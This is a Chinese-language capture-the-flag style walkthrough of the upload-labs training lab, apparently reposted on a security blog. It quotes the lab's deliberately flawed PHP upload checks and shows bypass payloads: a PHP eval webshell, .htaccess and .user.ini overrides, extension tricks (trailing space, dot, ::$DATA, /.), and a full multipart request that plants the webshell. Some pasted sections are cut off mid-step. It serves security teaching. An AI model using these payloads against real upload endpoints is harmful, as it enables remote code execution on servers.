文章总结: 本文档为upload-labs靶场通关攻略,详细介绍了针对不同文件上传验证机制的绕过方法,包括前端JS验证绕过、MIME类型修改、黑名单过滤不完整利用(如.phtml、.htaccess、.user.ini)、大小写绕过、空格绕过、点号绕过等关键技术。文档通过源码分析与payload演示,系统阐述了文件上传漏洞的利用原理与实战技巧,为Web安全测试提供了具体的可操作方案。 综合评分: 85 文章分类: 渗透测试,WEB安全,漏洞分析,安全建设,实战经验
payload
1
2
3
<?php
@eval($_POST['a']);
?>
在F12的设置中禁用javascript
先上传.htaccess文件,临时修改配置(注意:文件名就是.htaccess不是后缀)
1
AddType application/x-httpd-php .png
Pass-06%20【缺少trim()】%20空格绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))%20{
%20 %20if (file_exists(UPLOAD_PATH))%20{
%20 %20 %20 %20$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
%20 %20 %20 %20$file_name = $_FILES['upload_file']['name'];
%20 %20 %20 %20$file_name = deldot($file_name);//删除文件名末尾的点
%20 %20 %20 %20$file_ext = strrchr($file_name, '.');
%20 %20 %20 %20$file_ext = strtolower($file_ext); //转换为小写
%20 %20 %20 %20$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
%20 %20 %20 %20if (!in_array($file_ext, $deny_ext))%20{
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file,$img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20$msg = '上传出错!';
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20$msg = '此文件不允许上传';
%20 %20 %20 %20}
%20 %20} else {
%20 %20 %20 %20$msg =%20UPLOAD_PATH%20. '文件夹不存在,请手工创建!';
%20 %20}
}
少了trim()函数,该函数用来除去首尾的空格
抓包修改一下将后缀名改为.php(最后面有一个空格)
空格绕过
Pass-07%20【缺少deldot()】点绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))%20{
%20 %20if (file_exists(UPLOAD_PATH))%20{
%20 %20 %20 %20$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
%20 %20 %20 %20$file_name = trim($_FILES['upload_file']['name']);
%20 %20 %20 %20$file_ext = strrchr($file_name, '.');
%20 %20 %20 %20$file_ext = strtolower($file_ext); //转换为小写
%20 %20 %20 %20$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
%20 %20 %20 %20$file_ext = trim($file_ext); //首尾去空
%20 %20 %20 %20if (!in_array($file_ext, $deny_ext))%20{
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH.'/'.$file_name;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file, $img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20$msg = '上传出错!';
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20$msg = '此文件类型不允许上传!';
%20 %20 %20 %20}
%20 %20} else {
%20 %20 %20 %20$msg =%20UPLOAD_PATH%20. '文件夹不存在,请手工创建!';
%20 %20}
}
deldot()函数没了,该函数用于删除文件名末尾的点
点绕过
抓包修改后缀名为.php.
Pass-08%20【缺少去除字符串::$DATAWindows环境】%20::$DATA绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))%20{
%20 %20if (file_exists(UPLOAD_PATH))%20{
%20 %20 %20 %20$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
%20 %20 %20 %20$file_name = trim($_FILES['upload_file']['name']);
%20 %20 %20 %20$file_name = deldot($file_name);//删除文件名末尾的点
%20 %20 %20 %20$file_ext = strrchr($file_name, '.');
%20 %20 %20 %20$file_ext = strtolower($file_ext); //转换为小写
%20 %20 %20 %20$file_ext = trim($file_ext); //首尾去空
%20 %20 %20 %20if (!in_array($file_ext, $deny_ext))%20{
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file, $img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20$msg = '上传出错!';
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20$msg = '此文件类型不允许上传!';
%20 %20 %20 %20}
%20 %20} else {
%20 %20 %20 %20$msg =%20UPLOAD_PATH%20. '文件夹不存在,请手工创建!';
%20 %20}
}
缺少了
1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
当你上传一个文件名为 shell.php::$DATA 的文件时:
- 1. 后端代码(验证层):它看到后缀是
::$DATA。它去对比黑名单(.php,.asp,.jsp),发现::$DATA不在名单里。允许上传! - 2. Windows%20保存(存储层):Windows%20准备存这个文件时,发现后缀是
::$DATA。它会自动把这个后缀剥离掉,只保留前面的shell.php作为文件名存入硬盘。
结果:你骗过了检查员,但在硬盘里留下了一个完整的、可执行的 .php 文件。
抓包修改后缀名改为.php::$DATA
访问随即修改后的文件名即可不带上::$DATA
Pass-09%20【缺少随机命名】重新user.ini绑定%20+ .%20.点空格点绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))%20{
%20 %20if (file_exists(UPLOAD_PATH))%20{
%20 %20 %20 %20$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
%20 %20 %20 %20$file_name = trim($_FILES['upload_file']['name']);
%20 %20 %20 %20$file_name = deldot($file_name);//删除文件名末尾的点
%20 %20 %20 %20$file_ext = strrchr($file_name, '.');
%20 %20 %20 %20$file_ext = strtolower($file_ext); //转换为小写
%20 %20 %20 %20$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
%20 %20 %20 %20$file_ext = trim($file_ext); //首尾去空
%20 %20 %20 %20if (!in_array($file_ext, $deny_ext))%20{
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH.'/'.$file_name;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file, $img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20$msg = '上传出错!';
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20$msg = '此文件类型不允许上传!';
%20 %20 %20 %20}
%20 %20} else {
%20 %20 %20 %20$msg =%20UPLOAD_PATH%20. '文件夹不存在,请手工创建!';
%20 %20}
}
缺少了随机命名
1
$img_path =%20UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
这题目是
1
$img_path =%20UPLOAD_PATH.'/'.$file_name;
那么就可以用之前没用到的.user.ini
先上传.user.ini来修改配置
1
auto_prepend_file=9.png
折腾半天发现是自己环境没配好
这题是白名单,只允许jpg,png,gif文件后缀
提示是上传路径可控
抓个包看看(其实是看wp了)
抓包看
在上传的过程中发现缺少了\

Pass-19【move_uploaded_file()】php加/.绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))%20{
%20 %20if (file_exists(UPLOAD_PATH))%20{
%20 %20 %20 %20$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
%20 %20 %20 %20$file_name = $_POST['save_name'];
%20 %20 %20 %20$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
%20 %20 %20 %20if(!in_array($file_ext,$deny_ext))%20{
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH%20. '/' .$file_name;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file, $img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20}else{
%20 %20 %20 %20 %20 %20 %20 %20$msg = '上传出错!';
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20}else{
%20 %20 %20 %20 %20 %20$msg = '禁止保存为该类型文件!';
%20 %20 %20 %20}
%20 %20} else {
%20 %20 %20 %20$msg =%20UPLOAD_PATH%20. '文件夹不存在,请手工创建!';
%20 %20}
}
有
1
if%20(move_uploaded_file($temp_file,%20$img_path))%20{
move_uploaded_file()有这么一个特性,会忽略掉文件末尾的%20/.
上传
将filename后缀改为png
save_name改为19.php/.
Pass-20【$ext%20=%20end($file)】%20数组绕过
源码
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
%20 %20//检查MIME
%20 %20$allow_type = array('image/jpeg','image/png','image/gif');
%20 %20if(!in_array($_FILES['upload_file']['type'],$allow_type)){
%20 %20 %20 %20$msg = "禁止上传该类型文件!";
%20 %20}else{
%20 %20 %20 %20//检查文件名
%20 %20 %20 %20$file = empty($_POST['save_name'])%20? $_FILES['upload_file']['name']%20: $_POST['save_name'];
%20 %20 %20 %20if (!is_array($file))%20{
%20 %20 %20 %20 %20 %20$file = explode('.', strtolower($file));
%20 %20 %20 %20}
%20 %20 %20 %20$ext = end($file);
%20 %20 %20 %20$allow_suffix = array('jpg','png','gif');
%20 %20 %20 %20if (!in_array($ext, $allow_suffix))%20{
%20 %20 %20 %20 %20 %20$msg = "禁止上传该后缀文件!";
%20 %20 %20 %20}else{
%20 %20 %20 %20 %20 %20$file_name = reset($file)%20. '.' . $file[count($file)%20- 1];
%20 %20 %20 %20 %20 %20$temp_file = $_FILES['upload_file']['tmp_name'];
%20 %20 %20 %20 %20 %20$img_path =%20UPLOAD_PATH%20. '/' .$file_name;
%20 %20 %20 %20 %20 %20if (move_uploaded_file($temp_file, $img_path))%20{
%20 %20 %20 %20 %20 %20 %20 %20$msg = "文件上传成功!";
%20 %20 %20 %20 %20 %20 %20 %20$is_upload = true;
%20 %20 %20 %20 %20 %20} else {
%20 %20 %20 %20 %20 %20 %20 %20$msg = "文件上传失败!";
%20 %20 %20 %20 %20 %20}
%20 %20 %20 %20}
%20 %20}
}else{
%20 %20$msg = "请选择要上传的文件!";
}
有
1
$allow_type = array('image/jpeg','image/png','image/gif');
检测mime修改为Content-Type:%20image/jpeg即可
有
1
2
3
4
5
6
$file = empty($_POST['save_name'])%20? $_FILES['upload_file']['name']%20: $_POST['save_name'];
%20 %20 %20 %20if (!is_array($file))%20{
%20 %20 %20 %20 %20 %20$file = explode('.', strtolower($file));
%20 %20 %20 %20}
%20 %20 %20 %20$ext = end($file);
可以将save_name视作数组,检测的ext后缀名是看这个数组最后一个
利用数组绕过验证
请求包如下
点击展开/收起
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST%20/Pass-20/index.php%20HTTP/1.1
Host:%20localhost
Content-Length:%20522
Cache-Control:%20max-age=0
sec-ch-ua:%20"Chromium";v="143",%20"Not%20A(Brand";v="24"
sec-ch-ua-mobile:%20?0
sec-ch-ua-platform:%20"Windows"
Accept-Language:%20zh-CN,zh;q=0.9
Origin:%20http://localhost
Content-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundarydlBqvSPRkgc1WXqh
Upgrade-Insecure-Requests:%201
User-Agent:%20Mozilla/5.0%20(Windows%20NT%2010.0;%20Win64;%20x64)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/143.0.0.0%20Safari/537.36
Accept:%20text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site:%20same-origin
Sec-Fetch-Mode:%20navigate
Sec-Fetch-User:%20?1
Sec-Fetch-Dest:%20document
Referer:%20http://localhost/Pass-20/index.php
Accept-Encoding:%20gzip,%20deflate,%20br
Connection:%20keep-alive
------WebKitFormBoundarydlBqvSPRkgc1WXqh
Content-Disposition:%20form-data;%20name="upload_file";%20filename="20.jpg"
Content-Type: image/jpeg
<?php @eval($_POST["a"]); ?>
------WebKitFormBoundarydlBqvSPRkgc1WXqh
Content-Disposition: form-data; name="save_name[0]"
20.php/
------WebKitFormBoundarydlBqvSPRkgc1WXqh
Content-Disposition: form-data; name="save_name[2]"
jpg
------WebKitFormBoundarydlBqvSPRkgc1WXqh
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarydlBqvSPRkgc1WXqh--
引用链接
[1] upload-labs通关攻略(全) – 清茶先生 – 博客园: https://www.cnblogs.com/chu-jian/p/15515770.html
[2] huntergregal/PNG-IDAT-Payload-Generator: Generate a PNG with a payload embedded in the IDAT chunk (Based off of previous concepts and code — credit in README): https://github.com/huntergregal/PNG-IDAT-Payload-Generator
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:取证额头 渗透额头 渗透额头《upload-labs通关攻略》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论